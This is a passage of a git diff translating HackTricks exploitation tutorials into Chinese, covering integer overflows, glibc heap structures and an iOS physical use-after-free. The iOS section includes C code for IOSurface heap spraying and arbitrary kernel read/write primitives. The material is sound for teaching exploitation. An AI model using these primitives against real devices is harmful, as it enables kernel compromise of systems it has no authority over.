(add_result, _) = i32::overflowing_add(1, quantity); - println!("{}", mul_result); - println!("{}", add_result); +println!("{}", mul_result); +println!("{}", add_result); } ``` - {{#endtab}} {{#tab name="C"}} - ```c #include #include int main() { - int a = INT_MAX; - int b = 0; - int c = 0; +int a = INT_MAX; +int b = 0; +int c = 0; - b = a * 100; - c = a + 1; +b = a * 100; +c = a + 1; - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; } ``` - {{#endtab}} {{#endtabs}} -## Examples +## 示例 -### Pure overflow - -The printed result will be 0 as we overflowed the char: +### 纯溢出 +打印的结果将是 0,因为我们溢出了 char: ```c #include int main() { - unsigned char max = 255; // 8-bit unsigned integer - unsigned char result = max + 1; - printf("Result: %d\n", result); // Expected to overflow - return 0; +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; } ``` +### 有符号到无符号转换 -### Signed to Unsigned Conversion - -Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: - +考虑一种情况,其中从用户输入中读取一个有符号整数,然后在一个将其视为无符号整数的上下文中使用,而没有进行适当的验证: ```c #include int main() { - int userInput; // Signed integer - printf("Enter a number: "); - scanf("%d", &userInput); +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); - // Treating the signed input as unsigned without validation - unsigned int processedInput = (unsigned int)userInput; +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; - // A condition that might not work as intended if userInput is negative - if (processedInput > 1000) { - printf("Processed Input is large: %u\n", processedInput); - } else { - printf("Processed Input is within range: %u\n", processedInput); - } +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} - return 0; +return 0; } ``` +在这个例子中,如果用户输入一个负数,由于二进制值的解释方式,它将被解释为一个大的无符号整数,这可能导致意想不到的行为。 -In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. - -### Other Examples +### 其他示例 - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection +- 仅使用 1B 来存储密码的大小,因此可能会溢出并使其认为长度为 4,而实际上是 260,以绕过长度检查保护 - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: +- 给定几个数字,使用 z3 找出一个新数字,使其与第一个数字相乘将得到第二个数字: - ``` - (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) - ``` +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections +- 仅使用 1B 来存储密码的大小,因此可能会溢出并使其认为长度为 4,而实际上是 260,以绕过长度检查保护并覆盖栈中的下一个局部变量,从而绕过这两种保护 ## ARM64 -This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). +这在 ARM64 中**没有变化**,正如你在 [**这篇博客文章**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)中看到的。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index dbf5dc009..059c27a89 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -2,211 +2,202 @@ ## Physical use-after-free -This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +这是来自[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)的帖子摘要,此外关于使用此技术的漏洞的更多信息可以在[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)中找到。 ### Memory management in XNU -The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. +iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**。然而,这些地址并不直接映射到物理内存。相反,**内核**使用**页表**将虚拟地址转换为实际的**物理地址**。 #### Levels of Page Tables in iOS -Page tables are organized hierarchically in three levels: +页表分为三个层次进行分层组织: 1. **L1 Page Table (Level 1)**: - * Each entry here represents a large range of virtual memory. - * It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. +* 这里的每个条目表示一个大范围的虚拟内存。 +* 它覆盖**0x1000000000字节**(或**256 GB**)的虚拟内存。 2. **L2 Page Table (Level 2)**: - * An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). - * An L1 entry may point to an L2 table if it can't map the entire region itself. +* 这里的一个条目表示一个较小的虚拟内存区域,具体为**0x2000000字节**(32 MB)。 +* 如果L1条目无法映射整个区域,它可能指向L2表。 3. **L3 Page Table (Level 3)**: - * This is the finest level, where each entry maps a single **4 KB** memory page. - * An L2 entry may point to an L3 table if more granular control is needed. +* 这是最细的级别,每个条目映射一个单独的**4 KB**内存页。 +* 如果需要更细粒度的控制,L2条目可以指向L3表。 #### Mapping Virtual to Physical Memory * **Direct Mapping (Block Mapping)**: - * Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). +* 页表中的某些条目直接**映射一系列虚拟地址**到一系列连续的物理地址(就像快捷方式)。 * **Pointer to Child Page Table**: - * If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). +* 如果需要更细的控制,一个级别中的条目(例如,L1)可以指向下一个级别的**子页表**(例如,L2)。 #### Example: Mapping a Virtual Address -Let’s say you try to access the virtual address **0x1000000000**: +假设你尝试访问虚拟地址**0x1000000000**: 1. **L1 Table**: - * The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. +* 内核检查与此虚拟地址对应的L1页表条目。如果它有一个**指向L2页表的指针**,则转到该L2表。 2. **L2 Table**: - * The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. +* 内核检查L2页表以获取更详细的映射。如果此条目指向**L3页表**,则继续到那里。 3. **L3 Table**: - * The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. +* 内核查找最终的L3条目,该条目指向实际内存页的**物理地址**。 #### Example of Address Mapping -If you write the physical address **0x800004000** into the first index of the L2 table, then: +如果你将物理地址**0x800004000**写入L2表的第一个索引,则: -* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. -* This is a **block mapping** at the L2 level. +* 从**0x1000000000**到**0x1002000000**的虚拟地址映射到从**0x800004000**到**0x802004000**的物理地址。 +* 这是L2级别的**块映射**。 -Alternatively, if the L2 entry points to an L3 table: +或者,如果L2条目指向L3表: -* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. +* 虚拟地址范围**0x1000000000 -> 0x1002000000**中的每个4 KB页面将由L3表中的单独条目映射。 ### Physical use-after-free -A **physical use-after-free** (UAF) occurs when: +**物理使用后释放**(UAF)发生在: -1. A process **allocates** some memory as **readable and writable**. -2. The **page tables** are updated to map this memory to a specific physical address that the process can access. -3. The process **deallocates** (frees) the memory. -4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. -5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. -6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. +1. 一个进程**分配**了一些内存作为**可读和可写**。 +2. **页表**被更新以将此内存映射到进程可以访问的特定物理地址。 +3. 该进程**释放**(释放)内存。 +4. 然而,由于一个**错误**,内核**忘记从页表中删除映射**,尽管它将相应的物理内存标记为可用。 +5. 内核随后可以**重新分配这块“释放”的物理内存**用于其他目的,例如**内核数据**。 +6. 由于映射未被删除,进程仍然可以**读写**此物理内存。 -This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. +这意味着进程可以访问**内核内存的页面**,这些页面可能包含敏感数据或结构,可能允许攻击者**操纵内核内存**。 ### Exploitation Strategy: Heap Spray -Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: +由于攻击者无法控制哪些特定的内核页面将分配给释放的内存,他们使用一种称为**堆喷射**的技术: -1. The attacker **creates a large number of IOSurface objects** in kernel memory. -2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. -3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. -4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. +1. 攻击者在内核内存中**创建大量IOSurface对象**。 +2. 每个IOSurface对象在其字段之一中包含一个**魔法值**,使其易于识别。 +3. 他们**扫描释放的页面**以查看这些IOSurface对象是否落在释放的页面上。 +4. 当他们在释放的页面上找到一个IOSurface对象时,他们可以使用它来**读写内核内存**。 -More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +关于此的更多信息在[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)。 ### Step-by-Step Heap Spray Process -1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). -2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. -3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: - * Use one field to **read any 32-bit value** in kernel memory. - * Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. - -Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +1. **Spray IOSurface Objects**: 攻击者创建许多带有特殊标识符(“魔法值”)的IOSurface对象。 +2. **Scan Freed Pages**: 他们检查是否有任何对象已在释放的页面上分配。 +3. **Read/Write Kernel Memory**: 通过操纵IOSurface对象中的字段,他们获得在内核内存中执行**任意读写**的能力。这使他们能够: +* 使用一个字段**读取内核内存中的任何32位值**。 +* 使用另一个字段**写入64位值**,实现稳定的**内核读/写原语**。 +生成带有魔法值IOSURFACE_MAGIC的IOSurface对象以便后续搜索: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { - if (*nClients >= 0x4000) return; - for (int i = 0; i < nSurfaces; i++) { - fast_create_args_t args; - lock_result_t result; - - size_t size = IOSurfaceLockResultSize; - args.address = 0; - args.alloc_size = *nClients + 1; - args.pixel_format = IOSURFACE_MAGIC; - - IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); - io_connect_t id = result.surface_id; - - (*clients)[*nClients] = id; - *nClients = (*nClients) += 1; - } +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} } ``` - -Search for **`IOSurface`** objects in one freed physical page: - +在一个已释放的物理页面中搜索 **`IOSurface`** 对象: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { - io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); - int nSurfaceIDs = 0; - - for (int i = 0; i < 0x400; i++) { - spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - - for (int j = 0; j < nPages; j++) { - uint64_t start = puafPages[j]; - uint64_t stop = start + (pages(1) / 16); - - for (uint64_t k = start; k < stop; k += 8) { - if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { - info.object = k; - info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; - if (self_task) *self_task = iosurface_get_receiver(k); - goto sprayDone; - } - } - } - } - +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + sprayDone: - for (int i = 0; i < nSurfaceIDs; i++) { - if (surfaceIDs[i] == info.surface) continue; - iosurface_release(client, surfaceIDs[i]); - } - free(surfaceIDs); - - return 0; +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; } ``` +### 使用IOSurface实现内核读/写 -### Achieving Kernel Read/Write with IOSurface +在内核内存中控制一个IOSurface对象(映射到一个可从用户空间访问的已释放物理页面)后,我们可以将其用于**任意内核读写操作**。 -After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**. +**IOSurface中的关键字段** -**Key Fields in IOSurface** +IOSurface对象有两个关键字段: -The IOSurface object has two crucial fields: +1. **使用计数指针**:允许**32位读取**。 +2. **索引时间戳指针**:允许**64位写入**。 -1. **Use Count Pointer**: Allows a **32-bit read**. -2. **Indexed Timestamp Pointer**: Allows a **64-bit write**. +通过覆盖这些指针,我们将其重定向到内核内存中的任意地址,从而启用读/写功能。 -By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities. +#### 32位内核读取 -#### 32-Bit Kernel Read - -To perform a read: - -1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset. -2. Use the `get_use_count` method to read the value at that address. +要执行读取: +1. 将**使用计数指针**覆盖为指向目标地址减去0x14字节的偏移量。 +2. 使用`get_use_count`方法读取该地址的值。 ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { - uint64_t args[1] = {surfaceID}; - uint32_t size = 1; - uint64_t out = 0; - IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); - return (uint32_t)out; +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { - uint64_t orig = iosurface_get_use_count_pointer(info.object); - iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 - uint32_t value = get_use_count(info.client, info.surface); - iosurface_set_use_count_pointer(info.object, orig); - return value; +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; } ``` +#### 64位内核写入 -#### 64-Bit Kernel Write - -To perform a write: - -1. Overwrite the **indexed timestamp pointer** to the target address. -2. Use the `set_indexed_timestamp` method to write a 64-bit value. +要执行写入: +1. 将**索引时间戳指针**覆盖到目标地址。 +2. 使用`set_indexed_timestamp`方法写入64位值。 ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { - uint64_t args[3] = {surfaceID, 0, value}; - IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { - uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); - iosurface_set_indexed_timestamp_pointer(info.object, addr); - set_indexed_timestamp(info.client, info.surface, value); - iosurface_set_indexed_timestamp_pointer(info.object, orig); +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` +#### 利用流程回顾 -#### Exploit Flow Recap - -1. **Trigger Physical Use-After-Free**: Free pages are available for reuse. -2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. -3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control. -4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods. - -With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). +1. **触发物理使用后释放**: 可重用的空闲页面。 +2. **喷洒IOSurface对象**: 在内核内存中分配许多具有唯一“魔法值”的IOSurface对象。 +3. **识别可访问的IOSurface**: 找到一个在你控制的已释放页面上的IOSurface。 +4. **滥用使用后释放**: 修改IOSurface对象中的指针,以通过IOSurface方法启用任意**内核读/写**。 +通过这些原语,利用提供了对内核内存的受控**32位读取**和**64位写入**。进一步的越狱步骤可能涉及更稳定的读/写原语,这可能需要绕过额外的保护(例如,在较新的arm64e设备上的PPL)。 diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 319126fe0..3893165e0 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -2,196 +2,189 @@ ## Heap Basics -The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**. +堆基本上是程序在请求数据时存储数据的地方,调用像 **`malloc`**、`calloc`... 这样的函数。此外,当这些内存不再需要时,可以通过调用 **`free`** 函数将其释放。 -As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section): +如图所示,它位于二进制文件加载到内存后的位置(查看 `[heap]` 部分):
### Basic Chunk Allocation -When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is. +当请求将某些数据存储在堆中时,会为其分配堆的一部分空间。该空间将属于一个 bin,并且仅为请求的数据 + bin 头的空间 + 最小 bin 大小偏移量保留给该块。目标是尽可能少地保留内存,而不使查找每个块的位置变得复杂。为此,使用元数据块信息来了解每个已用/空闲块的位置。 -There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following: +根据使用的 bin,有不同的方法来保留空间,但一般方法如下: -- The program starts by requesting certain amount of memory. -- If in the list of chunks there someone available big enough to fulfil the request, it'll be used - - This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list -- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk -- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk -- If everything fails, `malloc` returns null. +- 程序开始时请求一定量的内存。 +- 如果在块列表中有足够大的可用块来满足请求,则将使用该块。 +- 这甚至可能意味着可用块的一部分将用于此请求,其余部分将添加到块列表中。 +- 如果列表中没有可用块,但已分配的堆内存中仍有空间,堆管理器将创建一个新块。 +- 如果没有足够的堆空间来分配新块,堆管理器会请求内核扩展分配给堆的内存,然后使用该内存生成新块。 +- 如果一切都失败,`malloc` 返回 null。 -Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory. +请注意,如果请求的 **内存超过阈值**,**`mmap`** 将用于映射请求的内存。 ## Arenas -In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck. +在 **多线程** 应用程序中,堆管理器必须防止可能导致崩溃的 **竞争条件**。最初,这是通过使用 **全局互斥锁** 来确保一次只有一个线程可以访问堆,但这导致了由于互斥锁引起的瓶颈而产生的 **性能问题**。 -To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas. +为了解决这个问题,ptmalloc2 堆分配器引入了“区域”,每个 **区域** 作为一个 **独立的堆**,具有 **自己的** 数据 **结构** 和 **互斥锁**,允许多个线程在不相互干扰的情况下执行堆操作,只要它们使用不同的区域。 -The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention. +默认的“主”区域处理单线程应用程序的堆操作。当 **新线程** 被添加时,堆管理器为它们分配 **次要区域** 以减少竞争。它首先尝试将每个新线程附加到未使用的区域,如果需要则创建新的区域,最多达到 32 位系统 CPU 核心数量的 2 倍和 64 位系统的 8 倍。一旦达到限制,**线程必须共享区域**,这可能导致潜在的竞争。 -Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations. +与使用 `brk` 系统调用扩展的主区域不同,次要区域使用 `mmap` 和 `mprotect` 创建“子堆”,以模拟堆行为,从而在多线程操作中灵活管理内存。 ### Subheaps -Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate: +子堆作为多线程应用程序中次要区域的内存储备,允许它们独立于主堆增长和管理自己的堆区域。以下是子堆与初始堆的不同之处及其操作方式: -1. **Initial Heap vs. Subheaps**: - - The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call. - - Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region. -2. **Memory Reservation with `mmap`**: - - When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use. - - By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes. -3. **Gradual Expansion with `mprotect`**: - - The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet. - - To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed. - - Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation. +1. **初始堆与子堆**: +- 初始堆位于程序的二进制文件后面,并通过 `sbrk` 系统调用扩展。 +- 次要区域使用的子堆是通过 `mmap` 创建的,`mmap` 是一个映射指定内存区域的系统调用。 +2. **使用 `mmap` 进行内存保留**: +- 当堆管理器创建子堆时,它通过 `mmap` 保留一大块内存。此保留不会立即分配内存;它只是指定一个其他系统进程或分配不应使用的区域。 +- 默认情况下,子堆的保留大小为 32 位进程的 1 MB 和 64 位进程的 64 MB。 +3. **使用 `mprotect` 逐步扩展**: +- 保留的内存区域最初标记为 `PROT_NONE`,表示内核尚不需要为此空间分配物理内存。 +- 为了“增长”子堆,堆管理器使用 `mprotect` 将页面权限从 `PROT_NONE` 更改为 `PROT_READ | PROT_WRITE`,提示内核为先前保留的地址分配物理内存。这种逐步的方法允许子堆根据需要扩展。 +- 一旦整个子堆耗尽,堆管理器将创建一个新的子堆以继续分配。 ### heap_info -This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. - +此结构分配堆的相关信息。此外,堆内存在更多分配后可能不是连续的,此结构还将存储该信息。 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 typedef struct _heap_info { - mstate ar_ptr; /* Arena for this heap. */ - struct _heap_info *prev; /* Previous heap. */ - size_t size; /* Current size in bytes. */ - size_t mprotect_size; /* Size in bytes that has been mprotected - PROT_READ|PROT_WRITE. */ - size_t pagesize; /* Page size used when allocating the arena. */ - /* Make sure the following data is properly aligned, particularly - that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of - MALLOC_ALIGNMENT. */ - char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; +mstate ar_ptr; /* Arena for this heap. */ +struct _heap_info *prev; /* Previous heap. */ +size_t size; /* Current size in bytes. */ +size_t mprotect_size; /* Size in bytes that has been mprotected +PROT_READ|PROT_WRITE. */ +size_t pagesize; /* Page size used when allocating the arena. */ +/* Make sure the following data is properly aligned, particularly +that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of +MALLOC_ALIGNMENT. */ +char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; ``` - ### malloc_state -**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\ -It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\ -In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**. +**每个堆**(主区域或其他线程区域)都有一个**`malloc_state`结构。**\ +需要注意的是,**主区域 `malloc_state`** 结构是 **libc中的全局变量**(因此位于libc内存空间中)。\ +在**线程的堆的 `malloc_state`** 结构中,它们位于**各自线程的“堆”内部**。 -There some interesting things to note from this structure (see C code below): +从这个结构中有一些有趣的事情需要注意(见下面的C代码): -- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time -- Flags: +- `__libc_lock_define (, mutex);` 是为了确保这个堆中的结构一次只被一个线程访问 +- 标志: - - ```c - #define NONCONTIGUOUS_BIT (2U) +- ```c +#define NONCONTIGUOUS_BIT (2U) - #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) - #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) - #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) - #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) - ``` - -- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used) - - Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**. -- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas -- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space. -- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here. +#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) +#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) +#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) +#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) +``` +- `mchunkptr bins[NBINS * 2 - 2];` 包含指向**小型、大型和未排序的** **bins**的**第一个和最后一个块**的**指针**(-2是因为索引0未使用) +- 因此,这些bins的**第一个块**将有一个**指向该结构的反向指针**,而这些bins的**最后一个块**将有一个**指向该结构的前向指针**。这基本上意味着,如果你能**泄漏主区域中的这些地址**,你将获得指向**libc**中结构的指针。 +- 结构 `struct malloc_state *next;` 和 `struct malloc_state *next_free;` 是区域的链表 +- `top` 块是最后一个“块”,基本上是**所有堆剩余空间**。一旦顶块“空”,堆就完全使用,需要请求更多空间。 +- `last reminder` 块来自于没有可用的精确大小块的情况,因此一个更大的块被拆分,剩余部分的指针放置在这里。 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 struct malloc_state { - /* Serialize access. */ - __libc_lock_define (, mutex); +/* Serialize access. */ +__libc_lock_define (, mutex); - /* Flags (formerly in max_fast). */ - int flags; +/* Flags (formerly in max_fast). */ +int flags; - /* Set if the fastbin chunks contain recently inserted free blocks. */ - /* Note this is a bool but not all targets support atomics on booleans. */ - int have_fastchunks; +/* Set if the fastbin chunks contain recently inserted free blocks. */ +/* Note this is a bool but not all targets support atomics on booleans. */ +int have_fastchunks; - /* Fastbins */ - mfastbinptr fastbinsY[NFASTBINS]; +/* Fastbins */ +mfastbinptr fastbinsY[NFASTBINS]; - /* Base of the topmost chunk -- not otherwise kept in a bin */ - mchunkptr top; +/* Base of the topmost chunk -- not otherwise kept in a bin */ +mchunkptr top; - /* The remainder from the most recent split of a small request */ - mchunkptr last_remainder; +/* The remainder from the most recent split of a small request */ +mchunkptr last_remainder; - /* Normal bins packed as described above */ - mchunkptr bins[NBINS * 2 